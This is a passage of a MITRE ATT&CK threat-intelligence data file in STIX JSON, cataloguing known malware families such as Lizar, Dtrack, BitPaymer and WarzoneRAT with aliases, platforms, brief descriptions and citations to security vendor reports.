2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["OSInfo"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0165","external_id":"S0165"},{"source_name":"Symantec Buckeye","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}],"modified":"2020-03-18T22:53:32.172Z","name":"OSInfo","description":"[OSInfo](https://attack.mitre.org/software/S0165) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to do internal discovery on a victim's computer and network. (Citation: Symantec Buckeye)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["MacSpy"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f72251cb-2be5-421f-a081-99c29a1209e7","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0282","external_id":"S0282"},{"source_name":"MacSpy","description":"(Citation: objsee mac malware 2017)."},{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-03-30T17:00:58.813Z","name":"MacSpy","description":"[MacSpy](https://attack.mitre.org/software/S0282) is a malware-as-a-service offered on the darkweb (Citation: objsee mac malware 2017).","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Sittikorn Sangrattanapitak"],"x_mitre_aliases":["Lizar","Tirion"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","created":"2022-02-02T21:05:48.601Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0681","url":"https://attack.mitre.org/software/S0681"},{"source_name":"Tirion","description":"(Citation: BiZone Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)"},{"source_name":"Lizar","description":"(Citation: BiZone Lizar May 2021)(Citation: Threatpost Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)"},{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."},{"source_name":"Gemini FIN7 Oct 2021","url":"https://geminiadvisory.io/fin7-ransomware-bastion-secure/","description":"Gemini Advisory. (2021, October 21). FIN7 Recruits Talent For Push Into Ransomware. Retrieved February 2, 2022."},{"source_name":"Threatpost Lizar May 2021","url":"https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/","description":"Seals, T. (2021, May 14). FIN7 Backdoor Masquerades as Ethical Hacking Tool. Retrieved February 2, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lizar](https://attack.mitre.org/software/S0681) is a modular remote access tool written using the .NET Framework that shares structural similarities to [Carbanak](https://attack.mitre.org/software/S0030). It has likely been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least February 2021.(Citation: BiZone Lizar May 2021)(Citation: Threatpost Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)","modified":"2022-04-15T11:40:31.460Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Lizar","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-18T22:01:45.646Z","name":"Dtrack","description":"[Dtrack](https://attack.mitre.org/software/S0567) is spyware that was discovered in 2019 and has been used against Indian financial institutions, research facilities, and the Kudankulam Nuclear Power Plant. [Dtrack](https://attack.mitre.org/software/S0567) shares similarities with the DarkSeoul campaign, which was attributed to [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: Kaspersky Dtrack)(Citation: Securelist Dtrack)(Citation: Dragos WASSONITE)(Citation: CyberBit Dtrack)(Citation: ZDNet Dtrack)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Dtrack"],"type":"malware","id":"malware--f8774023-8021-4ece-9aca-383ac89d2759","created":"2021-01-25T13:58:24.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0567","external_id":"S0567"},{"source_name":"ZDNet Dtrack","description":"Catalin Cimpanu. (2019, October 30). Confirmed: North Korean malware found on Indian nuclear plant's network. Retrieved January 20, 2021.","url":"https://www.zdnet.com/article/confirmed-north-korean-malware-found-on-indian-nuclear-plants-network/"},{"source_name":"Dragos WASSONITE","description":"Dragos. (n.d.). WASSONITE. Retrieved January 20, 2021.","url":"https://www.dragos.com/threat/wassonite/"},{"source_name":"CyberBit Dtrack","description":"Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021.","url":"https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/"},{"source_name":"Kaspersky Dtrack","description":"Kaspersky Global Research and Analysis Team. (2019, September 23). DTrack: previously unknown spy-tool by Lazarus hits financial institutions and research centers. Retrieved January 20, 2021.","url":"https://usa.kaspersky.com/about/press-releases/2019_dtrack-previously-unknown-spy-tool-hits-financial-institutions-and-research-centers"},{"source_name":"Securelist Dtrack","description":"Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021.","url":"https://securelist.com/my-name-is-dtrack/93338/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["H1N1"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f8dfbc54-b070-4224-b560-79aaa5f835bd","type":"malware","created":"2017-05-31T21:33:15.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0132","external_id":"S0132"},{"source_name":"Cisco H1N1 Part 1","description":"Reynolds, J.. (2016, September 13). H1N1: Technical analysis reveals new capabilities. Retrieved September 26, 2016.","url":"http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities"}],"modified":"2020-03-30T16:45:07.782Z","name":"H1N1","description":"[H1N1](https://attack.mitre.org/software/S0132) is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. (Citation: Cisco H1N1 Part 1)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-02-08T19:58:16.715Z","name":"SLOWPULSE","description":"[SLOWPULSE](https://attack.mitre.org/software/S1104) is a malware that was used by [APT5](https://attack.mitre.org/groups/G1023) as early as 2020 including against U.S. Defense Industrial Base (DIB) companies. [SLOWPULSE](https://attack.mitre.org/software/S1104) has several variants and can modify legitimate Pulse Secure VPN files in order to log credentials and bypass single and two-factor authentication flows.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","x_mitre_platforms":["Network"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["SLOWPULSE"],"type":"malware","id":"malware--f8fc98ac-ad6d-44db-b6e2-f0c6eb4eace4","created":"2024-02-06T21:07:39.125Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1104","external_id":"S1104"},{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Seth-Locker"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f931a0b9-0361-4b1b-bacf-955062c35746","type":"malware","created":"2021-08-13T14:57:39.387Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0639","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0639"},{"source_name":"Trend Micro Ransomware February 2021","url":"https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html","description":"Centero, R. et al. (2021, February 5). New in Ransomware: Seth-Locker, Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker. Retrieved August 11, 2021."}],"modified":"2021-10-13T14:17:43.705Z","name":"Seth-Locker","description":"[Seth-Locker](https://attack.mitre.org/software/S0639) is a ransomware with some remote control capabilities that has been in use since at least 2021.\n(Citation: Trend Micro Ransomware February 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T01:36:42.906Z","name":"LoudMiner","description":"[LoudMiner](https://attack.mitre.org/software/S0451) is a cryptocurrency miner which uses virtualization software to siphon system resources. The miner has been bundled with pirated copies of Virtual Studio Technology (VST) for Windows and macOS.(Citation: ESET LoudMiner June 2019)","x_mitre_platforms":["macOS","Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.4","x_mitre_aliases":["LoudMiner"],"type":"malware","id":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","created":"2020-05-18T21:01:51.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0451","external_id":"S0451"},{"source_name":"ESET LoudMiner June 2019","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020.","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-13T17:42:52.174Z","name":"Azorult","description":"[Azorult](https://attack.mitre.org/software/S0344) is a commercial Trojan that is used to steal information from compromised hosts. [Azorult](https://attack.mitre.org/software/S0344) has been observed in the wild as early as 2016.\nIn July 2018, [Azorult](https://attack.mitre.org/software/S0344) was seen used in a spearphishing campaign against targets in North America. [Azorult](https://attack.mitre.org/software/S0344) has been seen used for cryptocurrency theft. (Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["Azorult"],"type":"malware","id":"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080","created":"2019-01-30T15:19:14.309Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0344","external_id":"S0344"},{"source_name":"Azorult","description":"(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)"},{"source_name":"Proofpoint Azorult July 2018","description":"Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside"},{"source_name":"Unit42 Azorult Nov 2018","description":"Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:52:57.879Z","name":"BitPaymer","description":"[BitPaymer](https://attack.mitre.org/software/S0570) is a ransomware variant first observed in August 2017 targeting hospitals in the U.K. [BitPaymer](https://attack.mitre.org/software/S0570) uses a unique encryption key, ransom note, and contact information for each operation. [BitPaymer](https://attack.mitre.org/software/S0570) has several indicators suggesting overlap with the [Dridex](https://attack.mitre.org/software/S0384) malware and is often delivered via [Dridex](https://attack.mitre.org/software/S0384).(Citation: Crowdstrike Indrik November 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["BitPaymer","wp_encrypt","FriedEx"],"type":"malware","id":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","created":"2021-02-08T22:19:19.340Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0570","external_id":"S0570"},{"source_name":"BitPaymer","description":"(Citation: Crowdstrike Indrik November 2018)"},{"source_name":"wp_encrypt","description":"(Citation: Crowdstrike Indrik November 2018)"},{"source_name":"FriedEx","description":"(Citation: Crowdstrike Indrik November 2018)"},{"source_name":"Crowdstrike Indrik November 2018","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["BACKSPACE","Lecna"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--fb261c56-b80e-43a9-8351-c84081e7213d","type":"malware","created":"2017-05-31T21:32:24.428Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0031","external_id":"S0031"},{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-30T14:54:21.256Z","name":"BACKSPACE","description":"[BACKSPACE](https://attack.mitre.org/software/S0031) is a backdoor used by [APT30](https://attack.mitre.org/groups/G0013) that dates back to at least 2005. (Citation: FireEye APT30)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T20:30:02.520Z","name":"Zox","description":"[Zox](https://attack.mitre.org/software/S0672) is a remote access tool that has been used by [Axiom](https://attack.mitre.org/groups/G0001) since at least 2008.(Citation: Novetta-Axiom)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Zox","Gresim","ZoxRPC","ZoxPNG"],"type":"malware","id":"malware--fb28627c-d6ea-4c35-b138-ab5e96ae5445","created":"2022-01-09T22:02:05.615Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0672","external_id":"S0672"},{"source_name":"Gresim","description":"(Citation: Novetta-Axiom)"},{"source_name":"ZoxRPC","description":"(Citation: Novetta-Axiom)"},{"source_name":"ZoxPNG","description":"(Citation: Novetta-Axiom)"},{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["UPPERCUT","ANEL"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0275","external_id":"S0275"},{"source_name":"UPPERCUT","description":"(Citation: FireEye APT10 Sept 2018)"},{"source_name":"ANEL","description":"(Citation: FireEye APT10 Sept 2018)"},{"url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","source_name":"FireEye APT10 Sept 2018"}],"modified":"2020-03-30T18:24:27.229Z","name":"UPPERCUT","description":"[UPPERCUT](https://attack.mitre.org/software/S0275) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045). (Citation: FireEye APT10 Sept 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["ADVSTORESHELL","AZZY","EVILTOSS","NETUI","Sedreco"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","type":"malware","created":"2017-05-31T21:32:34.648Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0045","external_id":"S0045"},{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"},{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"}],"modified":"2020-03-30T01:44:19.899Z","name":"ADVSTORESHELL","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is a spying backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-11T18:34:04.838Z","name":"StrifeWater","description":"[StrifeWater](https://attack.mitre.org/software/S1034) is a remote-access tool that has been used by [Moses Staff](https://attack.mitre.org/groups/G1009) in the initial stages of their attacks since at least November 2021.(Citation: Cybereason StrifeWater Feb 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["StrifeWater"],"type":"malware","id":"malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0","created":"2022-08-15T16:31:56.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1034","external_id":"S1034"},{"source_name":"Cybereason StrifeWater Feb 2022","description":"Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022.","url":"https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Mivast"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3","created":"2017-05-31T21:32:54.044Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"S0080","url":"https://attack.mitre.org/software/S0080"},{"source_name":"Mivast","description":"(Citation: Symantec Black Vine) (Citation: Symantec Backdoor.Mivast)"},{"source_name":"Symantec Black Vine","url":"https://web.archive.org/web/20170823094836/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf","description":"DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016."},{"source_name":"Symantec Backdoor.Mivast","url":"http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2","description":"Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Mivast](https://attack.mitre.org/software/S0080) is a backdoor that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009). It was reportedly used in the Anthem breach. (Citation: Symantec Black Vine)","modified":"2022-07-20T20:09:46.802Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Mivast","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:19:50.306Z","name":"HiddenWasp","description":"[HiddenWasp](https://attack.mitre.org/software/S0394) is a Linux-based Trojan used to target systems for remote control. It comes in the form of a statically linked ELF binary with stdlibc++.(Citation: Intezer HiddenWasp Map 2019)","x_mitre_platforms":["Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["HiddenWasp"],"type":"malware","id":"malware--fc774af4-533b-4724-96d2-ac1026316794","created":"2019-06-24T12:04:32.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0394","external_id":"S0394"},{"source_name":"HiddenWasp","description":"(Citation: Intezer HiddenWasp Map 2019)"},{"source_name":"Intezer HiddenWasp Map 2019","description":"Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.","url":"https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-03T19:33:26.976Z","name":"WarzoneRAT","description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) is a malware-as-a-service remote access tool (RAT) written in C++ that has been publicly available for purchase since at least late 2018.(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Warzone UAC Bypass November 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Abhijit Mohanta, @abhijit_mohanta, Uptycs","Shilpesh Trivedi, Uptycs"],"x_mitre_aliases":["WarzoneRAT","Warzone","Ave Maria"],"type":"malware","id":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","created":"2021-12-27T17:21:18.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0670","external_id":"S0670"},{"source_name":"Ave Maria","description":"(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Warzone UAC Bypass November 2020)"},{"source_name":"Check Point Warzone Feb 2020","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021.","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/"},{"source_name":"Uptycs Warzone UAC Bypass November 2020","description":"Mohanta, A. (2020, November 25). Warzone RAT comes with UAC bypass technique. Retrieved April 7, 2022.","url":"https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Net Crawler","NetC"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--fde50aaa-f5de-4cb8-989a-babb57d6a704","created":"2017-05-31T21:32:38.851Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"S0056","url":"https://attack.mitre.org/software/S0056"},{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Net Crawler](https://attack.mitre.org/software/S0056) is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using [PsExec](https://attack.mitre.org/software/S0029) to execute a copy of [Net Crawler](https://attack.mitre.org/software/S0056). (Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.182Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Net Crawler","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T19:39:44.514Z","name":"SLOTHFULMEDIA","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is a remote access Trojan written in C++ that has been used by an unidentified \"sophisticated cyber actor\" since at least January 2017.(Citation: CISA MAR SLOTHFULMEDIA October 2020)(Citation: Costin Raiu IAmTheKing October 2020) It has been used to target government organizations, defense contractors, universities, and energy companies in Russia, India, Kazakhstan, Kyrgyzstan, Malaysia, Ukraine, and Eastern Europe.(Citation: USCYBERCOM SLOTHFULMEDIA October 2020)(Citation: Kaspersky IAmTheKing October 2020) \n\nIn October 2020, Kaspersky Labs assessed [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is part of an activity cluster it refers to as \"IAmTheKing\".(Citation: 